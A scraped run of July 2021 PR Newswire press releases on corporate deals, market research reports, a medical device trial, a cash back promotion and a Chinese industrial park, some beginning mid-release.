*Drury Hotels received the highest numerical score among upper midscale hotels in the proprietary J.D. Power 2006-2021 North America Hotel Guest Satisfaction Index Studies.SM

About J.D. Power

J.D. Power is a global leader in consumer insights, advisory services and data and analytics. A pioneer in the use of big data, artificial intelligence (AI) and algorithmic modeling capabilities to understand consumer behavior, J.D. Power has been delivering incisive industry intelligence on customer interactions with brands and products for more than 50 years. The world's leading businesses across major industries rely on J.D. Power to guide their customer-facing strategies.

J.D. Power has offices in North America, Europe and Asia Pacific. To learn more about the company's business offerings, visit JDPower.com/business. The J.D. Power auto shopping tool can be found at JDPower.com.

For additional information, contact:

Juliette Schmidt

314-587-3041

[email protected]

Patrick Barry - BYRNE PR

314-540-3865

[email protected]

SOURCE Drury Hotels

Related Links

http://www.druryhotels.com


DENVER, July 14, 2021 /PRNewswire/ -- Equus Software, the leader in global mobility technology, announced today it signed an agreement to invest in ReloQuest. This announcement underscores Equus's commitment to help clients connect and automate their global mobility programs to drive innovation, insights, and efficiencies across the business.

Equus Software Invests in ReloQuest

ReloQuest is an award-winning Corporate Housing Management solution that delivers a global marketplace of unbiased furnished accommodations and hotel options. This new relationship builds upon the success of Equus's AssignmentPro platform, along with ReloQuest's consumer-grade technology, to further streamline and modernize global mobility and business travel.

"We continue to focus on evolving and investing in our business to address the growing needs of managing a globally mobile workforce," commented Equus CEO, Mark Thomas. "Both companies have been the leaders in global mobility innovation, and we are excited to further align our solutions to accelerate our clients' success."

"We are thrilled to be working with Equus, which offers extensive experience in scaling technology-enabled platforms," said ReloQuest CEO Darin Karp. "By offering an exclusive experience to Equus clients, we will help them focus on delivering improved innovative solutions for their global employees."

Equus has helped more than 2,000 organizations move their employees around the world, efficiently and compliantly. At the same time, ReloQuest is disrupting the corporate housing marketplace with technology that saves an average of 25% for companies. It makes searching, selecting and contracting for corporate housing anywhere in the world a simple, consumer-like process. By tightly coupling these two leading technologies, mutual clients will have a modern intuitive experience for their entire global workforce.

"ReloQuest is the Airbnb of corporate housing, which just makes sense, and was inevitable," says Mark Thomas, CEO of Equus. "We love to see innovative technologies that improve costs and streamline operations for our clients, so we were thrilled to be able to invest in ReloQuest's future."

About Equus

Founded in 1999, Equus Software is the market leader in cloud-based relocation and mobility solutions. More than 2,000 organizations around the world use Equus to automate mundane, transactional work so that global mobility teams, talent management professionals and other key stakeholders can focus on adding value to the business. Equus has a proven track record of delivering cost-effective global mobility solutions, continuous innovation, and exceptional customer service: www.equusoft.com.

About ReloQuest

ReloQuest provides an independent cloud-based sourcing platform for the Corporate Accommodations Industry, providing over 1 million housing options throughout 180 countries. ReloQuest is the ultimate Corporate Housing Management solution, delivering real-time, transparent and unbiased options. ReloQuest's technology simplifies the process, providing rapid implementation, ease of use and significant global supplier representation. ReloQuest integrates clients, suppliers, and guests throughout the process of their accommodation, providing competitive pricing, real-time data, increased efficiency and cost savings to both clients and suppliers. www.reloquest.com

Media Contact:

Mandy Hawks

Marketing Director

Equus Software

303-292-4200

[email protected]

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Equus and Reloquest

Equus Software Invests in ReloQuest

SOURCE Equus Software

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ST. PETERSBURG, Fla., July 14, 2021 /PRNewswire/ -- According to travel insurance comparison site, Squaremouth.com, May marked the first month Europe regained its spot as the top destination for US tourists, with 22% of bookings. By June, this rose to nearly 30%, the highest percentage of sales in 13 months.

Historically, US travel to Europe far outweighed any other destination. As much as 46% of sales on Squaremouth.com have been for European travel. At the height of the pandemic, this dropped to less than 6%.

Ongoing border closures and quarantine requirements sent travelers to countries easier to visit , or kept them stateside. Former popular destinations, like Spain, France, Italy and the UK, fell to Caribbean countries, including Costa Rica, Mexico, Turks and Caicos, and the Virgin Islands.

While travelers are booking trips to Europe now, most don't plan to travel until 2022. Squaremouth reports as many as 54% of travelers are heading to Europe next summer, the highest percentage they've ever recorded.

Squaremouth's Top 10 International Destinations

2021 2020 2019 Mexico Mexico Italy Turks and Caicos Canada Canada Costa Rica United Kingdom Mexico Israel Bahamas France Greece US Virgin Islands United Kingdom Italy Australia Spain France Jamaica Germany Iceland Germany Israel Spain Aruba Japan Germany Israel Ireland

*listed by popularity per year

Notes to editors

Available Topic Expert: Megan Moncrief , Squaremouth CMO and data specialist is available for comment and interview. [email protected] +1 (727) 378-0938

Research Methodology: Squaremouth.com hosts the largest number of travel insurance providers and policies that offer coverage related to the Covid-19 pandemic. Squaremouth Analytics studied data from thousands of policies purchased between 5/1/2021 and 7/12/2021. If you would like a copy of the raw data, please get in touch by emailing [email protected] .

Other Relevant Research:

ABOUT SQUAREMOUTH

Squaremouth.com, and their multi-award winning customer service team, has helped over 2 million travelers save time and money to find the best travel insurance policy for their trip.

Leveraging decades of travel expertise, and industry-leading technology, Squaremouth.com hosts the most intuitive travel insurance quoting and comparison engine on the market today.

Coupled with verified customer reviews and the largest portfolio of products, Squaremouth allows travelers to instantly purchase a travel insurance policy from every major provider in the US.

SOURCE Squaremouth

Related Links

http://www.squaremouth.com


"I'm excited to welcome Jeff to the EWC family," said John Roush, Express Wash Concepts CEO. "Jeff's proven track record of successfully scaling businesses and driving organizational performance will be critical to our success as we continue expansion into existing and new markets."

Shermer brings to EWC more than 15 years of leadership experience in operations, learning and development, recruiting and marketing. Under his tenure, the award-winning Raising Cane's Chicken Fingers restaurant group grew from four units to more than 50. A Central Ohio native, Shermer earned his bachelor's degree in business administration and MBA from Franklin University.

"I look forward to working with EWC's teams to enhance the company's strong foundation of operations, team member growth and overall customer experience," said Shermer.

EWC plans to open more than 50 additional locations by the end of 2022 throughout Ohio, Virginia, Maryland, North Carolina and Pennsylvania.

About Express Wash Concepts:

Express Wash Concepts was formed in April 2018 with the announcement of a strategic investment partnership with Wildcat Capital Management, the approximately $3.9 billion family office of TPG Capital co-founder, David Bonderman. EWC currently operates 44 express car washes under the following brands: Central Ohio-based Moo Moo Express Car Wash, Greater Dayton-based Flying Ace Express Car Wash, Greater Cleveland-based Clean Express Auto Wash, Toledo-based Meyers Auto Wash and Virginia-based Green Clean Express Auto Wash.

The Express Wash Concepts family of brands feature fast, high quality and environmentally friendly express tunnel wash experiences and free vacuums. The company's popular Unlimited Wash Club packages offer members the convenience and value of contactless payment and unlimited washing at any location. For more information, please visit www.expresswashconcepts.com.

SOURCE Express Wash Concepts

Related Links

https://www.expresswashconcepts.com


MISGAV, Israel, July 14, 2021 /PRNewswire/ -- Vessi Medical ("Vessi"), announced that it successfully completed a first-in-human case with its minimally invasive cryoablation solution for superficial bladder cancer (NMIBC). The procedure was performed at Rambam Healthcare Campus in Haifa, Israel.

The procedure demonstrated ease of use, speed of activation and completion, without complications or bleeding. Additionally, clear inner bladder visualization and good tumor reaction were recorded. The patient was discharged the following day and reported no pain. Follow-up will continue over the coming weeks. The first patient procedure marks the beginning of the Vessi Medical first-in-human study, which will support product development towards the regulatory process.

Vessi Medical aims to provide an alternative to current first-line treatment, Transurethral Resection of Bladder Tumor (TURBT), a costly and invasive surgical procedure, performed under general anesthesia, with up to 60% recurrence of cancer, and many complications, resulting in poor quality of life. Vessi's minimally invasive bladder-specific cryotherapy technology offers a new therapy alternative to surgery and is expected to improve quality of life for many NMIBC patients by eliminating the costly and problematic issues experienced with current treatments.

Dr. Azik Hoffman, Attending Physician, Department of Urology, Rambam, reported: "I'm proud to have performed the first procedure with Vessi's system, which worked like a simple cystoscopy, translating to a short learning curve. For the selected lesion, response to cryotherapy was as expected, without any bleeding, and visibility was excellent. Performing cryotherapy for bladder papillary lesions using minimal sedation seems a tangible possibility given the right setup."

Prof. Gilad E. Amiel, Department Chair of Urology, Rambam Healthcare Campus, and scientific advisor for the company adds: "The cryo procedure demonstrated an immediate change in the three-dimensional structure of the tumor. The freezing of the lesion was easily noticeable and it froze completely in only a few seconds, with similar quick thawing. We performed two cycles of freezing and thawing, to ensure apoptosis and necrosis of the lesion. We look forward to being able to offer cryotherapy for bladder papillary lesions as an office procedure without anesthesia, in the future."

Vessi Medical CEO Eyal Kochavi remarked, "Demonstrating the technology in humans is a giant step forward towards making cryo-spray ablation a significant tool for the treatment of superficial bladder cancer and, in the future, for other bladder diseases such as overactive bladder."

About Vessi Medical

Vessi Medical is developing a new approach in the treatment of Non Muscle Invasive Bladder Cancer (NMIBC). The company uses surface cryotherapy, a method that utilizes extreme cold, to freeze and destroy abnormal tissue. Vessi Medical is a portfolio company of The Trendlines Group (SGX: 42T) (OTCQX: TRNLY) and has received further funding from the Israel Innovation Authority, Agriline (a trust of which Vincent Tchenguiz is a discretionary beneficiary), and additional investors.

Contact:

Eyal Kochavi

Chief Executive Officer

[email protected]

Phone: +972.52.523.5454

SOURCE Vessi Medical

Related Links

https://www.vessimed.com/


BOYNTON BEACH, Fla., July 14, 2021 /PRNewswire/ -- Fortis Fire & Safety ("Fortis"), one of the nation's newest fire protection service companies, has acquired LifeSafety Management ("LSM") headquartered in Boynton Beach, Florida. This acquisition follows the recent inaugural acquisition of VFS Fire & Security Services ("VFS") headquartered in Orange County, California.

"Fortis is excited to welcome the LSM team into the Fortis family as its first acquisition in Florida," said Tom Vining, Executive Chairman of Fortis. "LSM is a high-quality fire protection service company operating throughout South Florida and will provide us with a foothold to significantly grow our presence in Florida."

"We are well on our journey to establish a world class multi-regional fire protection service company. We intend to invest heavily in Florida, as well as California and Texas where VFS operates," said Vining. "The LSM team prides itself on their customer service and significant investment in technology which fits right into the Fortis model."

Stephen Ruzika and James Ashcroft have seen many successful years of growth under their ownership tenure of LSM. "We are excited about this next chapter, and truly believe Fortis will help take LSM to the next level through their growth focused strategy," said Ruzika. "LSM has the opportunity to significantly benefit from being part of a well-capitalized multi-regional company," added Ashcroft.

"It is exciting to launch with two early acquisitions providing Fortis with operations across three states," said Josh Kochen, Vice President at Imperial Capital, Fortis' capital partner. "The team is aggressively looking for other opportunities to continue to build out Fortis' presence in its current and additional states and are excited about the other acquisition and partnership opportunities in the pipeline."

About Fortis Fire & Safety

Fortis Fire & Safety is one of the nation's newest fire protection service companies built on the philosophy of People First, Quality Service and Building Lifetime Clients. Fortis will position itself as the next generation of fire protection by building an industry leading company through close partnerships with regional operators and investing heavily in technology.

For further information on Fortis Fire & Safety, visit www.fortisfire.com.

Contact Information

Name: Tom Vining, Executive Chairman

Email: [email protected]

Phone: 1-833-3-FORTIS

SOURCE Fortis Fire & Safety

Related Links

Www.fortisfire.com


Backpacks, clothes, pencils, notebooks and more add up to hundreds of dollars in back to school expenses for the average American household. And this year, with bulk quantities of masks and hand sanitizer on the lists, budgets will likely be even higher. So alongside its partners, Ibotta is enabling every parent in the U.S. the chance to receive 100% cash back on back to school staple items, while supplies last, including:

1 FIVE STAR 3-Subject Notebook

1 12-Pack Ticonderoga Pencils

1 110-Count Box Kleenex

1 Loaf of Nature's Own Bread

1 Jar Skippy Peanut Butter

1 Smucker's Fruit Spread Squeeze Bottle

3-Pack Paper Mate Erasers

"After what families and students went through last school year, the last thing they should be worrying about heading into this school year is how they're going to afford school supplies," said Richard Donahue, Chief Marketing Officer, Ibotta. "By coming together with so many household names to help ease the burden of back to school costs, we hope that every family - whether their children are going back into the classroom or continuing virtually - can take advantage of this free program."

To redeem the free back to school bundle during Ibotta's "Back to School FREE for All" program, shoppers simply download the free Ibotta app or Ibotta Browser Extension and follow the instructions to add the items to their shopping lists. From there, they can go to any participating in-store and online retailers to purchase their items and receive 100% cash back.

"Nature's Own breads are the perfect foundation for a better for you school lunch. And as families head into a new school year, we wanted to team up with Ibotta to help take another worry off parents' plates  getting their kids out the door with lunch, for less." Jessica Wood, Nature's Own Senior Brand Manager.

Save On All The Essentials

In addition to the free school supplies, Ibotta is teaming up with well-known brands like CLIF BAR & Company, Darigold, J&J Snack Foods and NIVEA MEN to give back even more this school year. Launching on July 30, Ibotta's "Back to School Essentials" campaign features dozens of cash back offers on additional school supplies and lunchbox items to help families save money while making sure students have everything they need for a great school year.

Offers include:

 FIVE STAR  Perfect Snacks  NIVEA MEN  Quaker Instant Oatmeal  Flipz  Grillo's  Tree Top  Vive Organics  ONE Brands  JUST Egg  Keebler Cookies  Breakstone's/Knudsen Cottage  InnovAsian Cheese  CLIF BAR & Company  Sun-Maid  Darigold  Similasan  Fairlife DHA Milk  Dr. Schar  Philly Swirl  Dr. Praeger's  Whole Fruit Fruit Bars  Mrs. Freshley's  Cetaphil  Color Scents  U by Kotex & OMV!  Orgain  Fairlife Coffee Creamer  LikeMeat/Fry's  Natrol



Reward Every Shopper

Ibotta's "Back to School FREE for All" program is the company's latest effort to help families financially as they continue to rebound from the pandemic. Last year, Ibotta partnered with Walmart, Campbell's, Butterball, Coca-Cola and more to give away more than 3 million free Thanksgiving dinners, ensuring that every family had a delicious meal on the table during the holidays.

To learn more about Ibotta's "Back to School FREE for All' savings event, please visit https://home.ibotta.com/back-to-school/ND/ .

Ibotta is a registered trademark of Ibotta, Inc. The other trademarks mentioned in this press release are property of the respective trademark owners.

About Ibotta, Inc.

Headquartered in Denver, CO, Ibotta ("I bought a...") is a free-to-use cash back rewards platform that has delivered nearly $1 billion in cumulative cash rewards to its users for making purchases in-store, on mobile apps or via websites. Launched in 2012, Ibotta has more than 40 million downloads, is one of the most frequently used shopping and payments platforms in the United States, and offers cash back on purchases at more than 2,700 leading brands and retail partners. Ibotta was named to the 2020 Inc. 5000 list of fastest-growing private companies in the U.S. for the third year in a row after debuting on the list in 2018, and the company has also been named as a Top Workplace by The Denver Post four consecutive times.



SOURCE Ibotta

Related Links

https://home.ibotta.com


DUBLIN, July 14, 2021 /PRNewswire/ -- The "Global and China AGV (Automated Guided Vehicle) Market Insight Report, 2021-2025" report has been added to ResearchAndMarkets.com's offering.

In 2020, although the epidemic disrupted the existing order of life, work and production, and although the current epidemic is still spreading all over the world, China's resumption of work and production has already entered a normal state. In contrast to the pessimistic atmosphere at the beginning of 2020, it was positive and optimistic at the beginning of 2021, especially in the field of robots. In 2020, China's robot market can be said to have grown beyond expectations, among which mobile robots are the most outstanding ones.



From the perspective of capital, 2020 can be said to be a key node in China's mobile robot (AGV) industry. China's AGV (including AMR) industry can be regarded as one of the hottest fields in the robot industry in terms of number of enterprises, financing cases, industry popularity, growth and attention. In 2020, the financing amount of China's mobile robot (AGV) industry exceeded 2.4 billion yuan, with 16 financing cases, with an average financing amount exceeding 150 million yuan.

The industry label of mobile robot manufacturers in the manufacturing scene is becoming more and more obvious. Under the increasingly crowded track, the non-standard personalized demand forces mobile robot manufacturers to evolve from product thinking to solution thinking. The integration of production line manufacturing and production line logistics continues to deepen, and it will gradually become one of the necessary options for mobile robot manufacturers to seek deep cooperation with industrial robot system integrators.



From the perspective of fixed asset investment in downstream industries, the overall private fixed asset investment in manufacturing industry is still in a positive climbing state in 2020, and some sub-sectors have begun to show obvious signs of recovery, such as 3C industry and new energy industry.

Multiple factors such as the continuous improvement of technology and application maturity of superimposed AGV and the continuous appearance of cost-performance advantages can be judged or will benefit the demand for AGV to a great extent. It is expected that China's AGV market will continue its high heat and steady growth in 2021.

From the market and product level, what can be foreseen in 2021 is:

The industrial AMR market has entered the critical period of industrialization landing card. On the one hand, the competition among manufacturers will become increasingly fierce; On the other hand, most manufacturers will continue to promote a new round of financing. At the end of 2021, it is expected that more than five AMR manufacturers will achieve profitability, and some manufacturers will initially meet the listing standards in science and technology innovation board.

After industrial AMR, forklift AGV entered the high heat zone, with the rapid increase of incoming customers, intensified market competition, and the downward acceleration of product prices. It is estimated that the market sales growth rate will exceed 40%.

In the past, the winner-take-all thinking in robot industry, such as winner-take-all and all-category layout, was gradually replaced by the military rule of uniting Lian Heng , and more mobile robot manufacturers began to team up and build circles and work together to fight strange things, and more manufacturers began to actively seek in-depth complementarity and cooperation from high-quality partners.

Key Topics Covered:



1 Classification of AGV

1.1 Definition of AGV

1.2 Classification of AGV



2. Analysis of AGV industrial chain

2.1 Core Components

2.2 AGV ontology

2.3 System Integrators



3 Analyzes the sales model of AGV products

3.1 AGV product price analysis

3.1.1 Product price

3.1.2 the price trend analysis

3.2 Enterprise product price distribution

3.3 Product price difference analysis



4. Analyzes the return on investment of AGV products

4.1 AGV life analysis

4.2 AGV cost structure analysis

4.2.1 AGV system cost

4.2.2 After-sales service cost



5. Sales and Scale of AGV Market

5.1 Global AGV development status

5.1.1 Global AGV market scale

5.1.2 Global AGV market competition

5.1.3 Global AGV development model

5.2 Global AGV application market analysis

5.2.1 Distribution of global AGV application industry

5.2.2 The development trend of the global AGV application market

5.3 Comparison of AGV Development between China and Foreign Countries

5.3.1 AGV technology gap between China and foreign countries

5.3.2 The AGV price gap between China and foreign countries

5.4 Sales volume and forecast of AGV market in China

5.5 China AGV market scale and forecast



6. Analysis of AGV Market Competition Pattern

6.1 Product type analysis

6.2 Analysis of Enterprise Share

6.2.1 AGV enterprise type analysis

6.2.2 Foreign-funded brand enterprises

6.3 Domestic brand enterprises

6.4 Analysis of Domestic and Foreign Capital Market Share



7. Analysis of Application Distribution in AGV Industry

7.1 Distribution of AGV sales in various industries in China market

7.2 Predicts the application of AGV in China market in various industries

7.2.1 Automobile industry

7.2.2 3C industry

7.2.3 New energy industry

7.2.4 Express/e-commerce/retail industry

7.2.5 Electric power inspection industry

7.2.6 Medical industry



8 Analysis of Domestic Peers



Companies Mentioned

Siasun Robot & Automation Co., Ltd.

KSEC Intelligent Equipment Co., Ltd.

Machinery Technology Development Co. Ltd.

CSG Smart Science & Technology Co., Ltd.

Jaten Robot & Automation Co., Ltd.

Geek+

Quicktron Intelligent Technology

Libiao Robot Co., Ltd.

Hikrobot Technology Co., Ltd.

Yonegy Logistics Automation Technology Co., Ltd.

Noblelift Equipment Joint Stock Co., Ltd.

Jingyuan Mechano-Electric Equipment Co., Ltd.

Triowin Automation Machinery Co., Ltd.

Casun Intelligent Robot Co., Ltd.

For more information about this report visit https://www.researchandmarkets.com/r/7jl1qq

Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900



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Fax (outside U.S.): +353-1-481-1716

SOURCE Research and Markets

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ABSTRACT-

Global Dental Practice Management Software Market to Reach $2.7 Billion by 2026

The dental practice management software is a clinical and administrative aid that helps practice management staff and dentists in smooth and efficient services. The software offers a number of functionalities including e-billing, accounting, insurance claiming, report generation, and online appointment bookings. Dental practice software platforms also possess clinical features such as treatment strategizing, mapping patients, making dental charts, generating dental imagery, and filling prescriptions among others. Growth in the global market is being driven by increasing awareness of dental health and ensuing demand for a range of dental care services. Modern lifestyles such as alcohol consumption, and tobacco usage are also causing more dental issues, leading to a larger patient pool in need of oral care services. The world's rapidly aging population and the growing need for dental care in this demographic segment are driving opportunities for dental practices. The rise in cosmetic dentistry and increase in dental tourism practices in emerging nations is also expected to promote growth prospects.

Amid the COVID-19 crisis, the global market for Dental Practice Management Software estimated at US$1.7 Billion in the year 2020, is projected to reach a revised size of US$2.7 Billion by 2026, growing at a CAGR of 8.2% over the analysis period. Web-based, one of the segments analyzed in the report, is projected to grow at a 7.5% CAGR to reach US$1.3 Billion by the end of the analysis period. After a thorough analysis of the business implications of the pandemic and its induced economic crisis, growth in the Cloud-Based segment is readjusted to a revised 9.5% CAGR for the next 7-year period. This segment currently accounts for a 36.9% share of the global Dental Practice Management Software market. Web-based deployment accounts for a major share of the global market, due to the enhanced security and greater storage capacity associated with the model. Besides, universal access to patient database, reasonable price and provision of instant software updates are driving web deployment model. Cloud based segment is witnessing growth owing to increasing availability of dental management practice software offered as SaaS (Software as a service) that eliminates the demand for storing patient data on paper besides facilitating the access to data remotely for clinicians.

The U.S. Market is Estimated at $642.8 Million in 2021, While China is Forecast to Reach $271.3 Million by 2026

The Dental Practice Management Software market in the U.S. is estimated at US$642.8 Million in the year 2021. The country currently accounts for a 36.26% share in the global market. China, the world's second largest economy, is forecast to reach an estimated market size of US$271.3 Million in the year 2026 trailing a CAGR of 10.4% through the analysis period. Among the other noteworthy geographic markets are Japan and Canada, each forecast to grow at 7% and 7.4% respectively over the analysis period. Within Europe, Germany is forecast to grow at approximately 7.9% CAGR while Rest of European market (as defined in the study) will reach US$301.2 Million by the end of the analysis period. North America and Europe represent key markets, driven by high spending on digital healthcare implementations, rapid adoption of new technology platforms for dental practice management, and government initiatives to promote the adoption of digital healthcare. Asia-Pacific countries, powered by the growing demand for dental services in Japan, China, and India are expected to provide robust growth opportunities.

On-Premise Segment to Reach $432.6 Million by 2026

Though cloud based software solutions have been found to offer greater flexibility in the form of remote management, data storage and integration possibilities, on-premise solutions continue to find acceptance due to security implications related to cloud solutions. In the global On-Premise segment, USA, Canada, Japan, China and Europe will drive the 6.9% CAGR estimated for this segment. These regional markets accounting for a combined market size of US$211.4 Million in the year 2020 will reach a projected size of US$337.4 Million by the close of the analysis period. China will remain among the fastest growing in this cluster of regional markets. Led by countries such as Australia, India, and South Korea, the market in Asia-Pacific is forecast to reach US$38 Million by the year 2026. More

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Our platform is free for qualified executives and is accessible from our website www.StrategyR.com or via our just released mobile application on iOS or Android

About Global Industry Analysts, Inc. & StrategyR

Global Industry Analysts, Inc., (www.strategyr.com) is a renowned market research publisher the world`s only influencer driven market research company. Proudly serving more than 42,000 clients from 36 countries, GIA is recognized for accurate forecasting of markets and industries for over 33 years.

CONTACTS:

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Director, Corporate Communications

Global Industry Analysts, Inc.

Phone: 1-408-528-9966

www.StrategyR.com

Email: [email protected]

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FACTS AT A GLANCE Edition: 7; Released: June 2021 Executive Pool: 6097 Companies: 131 - Players covered include Philips Lighting Holding B.V.; Hubbell Lighting Inc.; Cooper Industries; Schneider Electric SE; Emerson; Legrand S.A.; Acuity Brands; Beghelli S.p.A.; Daisalux; Zumtobel Group; Digital Lumens; Fulham Co. Inc.; Arrow Emergency Lighting Limited; Arts Energy; Taurac and Others. Coverage: All major geographies and key segments Segments: Battery Type (Lithium-Ion, Ni-MH, Ni-Cd, Other Battery Types); Light Source (LED, Fluorescent, Induction, Other Light Sources); Power System (Self-Contained, Central, Hybrid); End-Use (Industrial, Commercial, Residential, Other End-Uses) Geographies: World; USA; Canada; Japan; China; Europe; France; Germany; Italy; UK; Spain; Russia; Rest of Europe; Asia-Pacific; Australia; India; South Korea; Rest of Asia-Pacific; Latin America; Argentina; Brazil; Mexico; Rest of Latin America; Middle East; Iran; Israel; Saudi Arabia; UAE; Rest of Middle East; Africa.

Complimentary Project Preview - This is an ongoing global program. Preview our research program before you make a purchase decision. We are offering a complimentary access to qualified executives driving strategy, business development, sales & marketing, and product management roles at featured companies. Previews provide deep insider access to business trends; competitive brands; domain expert profiles; and market data templates and much more. You may also build your own bespoke report using our MarketGlass Platform which offers thousands of data bytes without an obligation to purchase our report. Preview Registry

ABSTRACT-



Global Emergency Lighting Market to Reach $7.3 Billion by 2026

Emergency lighting systems are designed for automatically illuminating the building in the event of electricity failures and assisting in safe and efficient evacuation of the building, thereby preventing occupants from panicking, and suffering emotional distress and injury. By improving visibility, these lighting systems also assist emergency and rescue teams in performance of their tasks. The various types of emergency lighting include safety lighting and stand-by lighting. Stringent safety and fire prevention regulations have and will continue to provide new opportunities for growth of emergency lighting systems. For example, BS:5266, the British Standard regulations, are designed for assisting with the designing and installation processes associated with emergency lighting systems. Expected recovery in construction activities the world over, post pandemic will power growth in the near future. Additionally, rapid urbanization, together with increasing disposable incomes of the global middle-class will also fuel growth in the coming years. The primary factors influencing growth for emergency lighting systems' batteries include rapid technological advancements, environmental regulations, intense competition, and frequently changing government policies. Recent years are also witness to rapid advancements in battery technology, with the lithium ion technology enabling the development of smaller, more powerful batteries and other back-up solutions. Another emerging technological trend is the increased demand for nickel metal hydride (NiMH) batteries for use in both exit-signage and pathway lighting.

Amid the COVID-19 crisis, the global market for Emergency Lighting estimated at US$5 Billion in the year 2020, is projected to reach a revised size of US$7.3 Billion by 2026, growing at a CAGR of 6.5% over the analysis period. Lithium-Ion, one of the segments analyzed in the report, is projected to grow at a 7.9% CAGR to reach US$3.6 Billion by the end of the analysis period. After a thorough analysis of the business implications of the pandemic and its induced economic crisis, growth in the Ni-Mh segment is readjusted to a revised 5.8% CAGR for the next 7-year period. This segment currently accounts for a 24.6% share of the global Emergency Lighting market. Demand for lithium-ion battery-based emergency lighting systems is being driven by sustained decline in the prices of Li-ion batteries and advancements in lithium ion technology.

The U.S. Market is Estimated at $1.6 Billion in 2021, While China is Forecast to Reach $1.2 Billion by 2026

The Emergency Lighting market in the U.S. is estimated at US$1.6 Billion in the year 2021. The country currently accounts for a 30.67% share in the global market. China, the world's second largest economy, is forecast to reach an estimated market size of US$1.2 Billion in the year 2026 trailing a CAGR of 8.1% through the analysis period. Among the other noteworthy geographic markets are Japan and Canada, each forecast to grow at 5.1% and 5.6% respectively over the analysis period. Within Europe, Germany is forecast to grow at approximately 6% CAGR while Rest of European market (as defined in the study) will reach US$1.3 Billion by the end of the analysis period. The primary factor driving the dominance of the North American market is the sustained increase in the use of emergency lighting systems in residential, industrial and commercial constructions. Spurred by high consumer awareness about the benefits that emergency lighting systems offers over other alternatives, including UPS, during emergency situations, the region is projected to retain its dominance. Growth within the Asia-Pacific region will continue to be propelled by sustained rapid pace of urbanization being witnessed in developing countries such as China and India, which is resulting in the region experiencing a higher demand for infrastructure, including emergency lighting systems.

Ni-Cd Segment to Reach $1.4 Billion by 2026

In the global Ni-Cd segment, USA, Canada, Japan, China and Europe will drive the 5% CAGR estimated for this segment. These regional markets accounting for a combined market size of US$878.5 Million in the year 2020 will reach a projected size of US$1.2 Billion by the close of the analysis period. China will remain among the fastest growing in this cluster of regional markets. Led by countries such as Australia, India, and South Korea, the market in Asia-Pacific is forecast to reach US$112.9 Million by the year 2026, while Latin America will expand at a 5.5% CAGR through the analysis period. More

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Our MarketGlass Platform is a free full-stack knowledge center that is custom configurable to today`s busy business executive`s intelligence needs! This influencer driven interactive research platform is at the core of our primary research engagements and draws from unique perspectives of participating executives worldwide. Features include - enterprise-wide peer-to-peer collaborations; research program previews relevant to your company; 3.4 million domain expert profiles; competitive company profiles; interactive research modules; bespoke report generation; monitor market trends; competitive brands; create & publish blogs & podcasts using our primary and secondary content; track domain events worldwide; and much more. Client companies will have complete insider access to the project data stacks. Currently in use by 67,000+ domain experts worldwide.



Our platform is free for qualified executives and is accessible from our website www.StrategyR.com or via our just released mobile application on iOS or Android

About Global Industry Analysts, Inc. & StrategyR

Global Industry Analysts, Inc., (www.strategyr.com) is a renowned market research publisher the world`s only influencer driven market research company. Proudly serving more than 42,000 clients from 36 countries, GIA is recognized for accurate forecasting of markets and industries for over 33 years.

CONTACTS:

Zak Ali

Director, Corporate Communications

Global Industry Analysts, Inc.

Phone: 1-408-528-9966

www.StrategyR.com

Email: [email protected]

LINKS

Join Our Expert Panel

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SHANGHAI, July 14, 2021 /PRNewswire/ -- July 13th, the global launch of Nanjing European Enterprises Innovation Town was successfully held in Shanghai. Hosted by the Nanjing Investment Promotion Bureau, Nanjing Lishui District People's government, Nanjing Commerce Bureau and Foreign Affairs Office of Nanjing Municipal Government, the event "Nanjing Europe Enterprises Cooperation Global (Shanghai) Promotion Conference" is a platform to enrich dialogue and deepen cooperation with the presence of over 200 representatives from European and Chinese institutions and companies and many participants online.

The Deputy Mayor of Nanjing Lin Tao expressed strong hopes for cooperation between Nanjing and European enterprises, mentioned that Nanjing has provided a good policy in promoting an innovative ecosystem and attracting international talents. He said, "as an important hub of the one belt and one road intersection, an important central city in eastern China and a mega-city in the Yangtze River Delta, Nanjing is a city of culture, green and ecological, with great science and education resources." In 2020, Nanjing achieved a regional GDP of 1481.7 billion yuan with increase rate of 4.6%."

Alessandra Palumbo, Commercial Consul of the Consulate General of Italy in Shanghai, recalled the sistership between Nanjing and Florence and considers Jiangsu as an important business partner for Italian companies. Talking about the 50th anniversary of diplomatic relations between Italy and China in 2020, she believes that the Year of Culture and Tourism Italy-China in 2022 can be another positive opportunity to enhance the exchanges between the two sides.

The Nanjing European Enterprises Innovation Town, taking up 427.85 hectares is located in Honglan Street of Lishui District. Being established as a Sino-European intelligent manufacturing and R&D center, the Town aims to serve and foster European and Chinese companies in healthcare, pharmaceutical medical and biological industries, also electronic components manufacturing and information and high-end intelligent manufacturing.

A peculiarity of this Town will also be its carbon zero and environment-friendly characteristic, since it will be among the first carbon neutral areas in China.

"This project is an excellent opportunity for European companies wishing to establish or develop their business in China. Acting as a facilitator of the local Government, Chic will use its expertise in urban development and its 21-year experience in bridging Europe and China to assist these enterprises reach their full potential in Lishui", concluded Helen Tu, Chairperson of Chic Investment Group and a Board Member of the Italy China Foundation.

SOURCE Nanjing Lishui District People's government
NEW YORK, July 14, 2021 /PRNewswire/ -- The latest report published by Research Dive states that the Global Life Sciences Analytics Software Market is predicted to garner revenue of $13,375.8 million by 2028, rising from $5,331.9 million in 2020, at a stable CAGR of 12.4% in 2021-2028 timeframe.

Request to Download Sample Report of Life Sciences Analytics Software Market

Life Sciences Analytics Software Market: Regional Analysis

The North American region is expected to experience a significant rise in revenue from $2,692.6 million in 2020 to over $6, 634.4 million by 2028 in the analysis period. The region is known for its multiple life science analytics companies which are adding to the growth of the market. Moreover, a majority of the population belongs to the geriatric category due to which the region has been developing its quality of healthcare infrastructure. These factors are expected to contribute to the growth of the global life sciences analytics software market.

Key Market Segments

By product, the descriptive analytics sub-segment is predicted to garner revenue of $5,354.7 million by 2028. This growth is due to the significant role played by descriptive analysis in gathering critical information and organizing it systematically in the database.

by 2028. This growth is due to the significant role played by descriptive analysis in gathering critical information and organizing it systematically in the database. By application, the sales and marketing support sub-segment is expected to witness a rise in revenue from $1,784.0 million in 2020 to over $4,408.9 million by 2028 at a steady CAGR from 2021 to 2028. Multiple renowned life science organizations have been implementing advanced analytics tools for better functioning of their sales and marketing sectors. This is expected to boost the growth of the market in the forecast period.

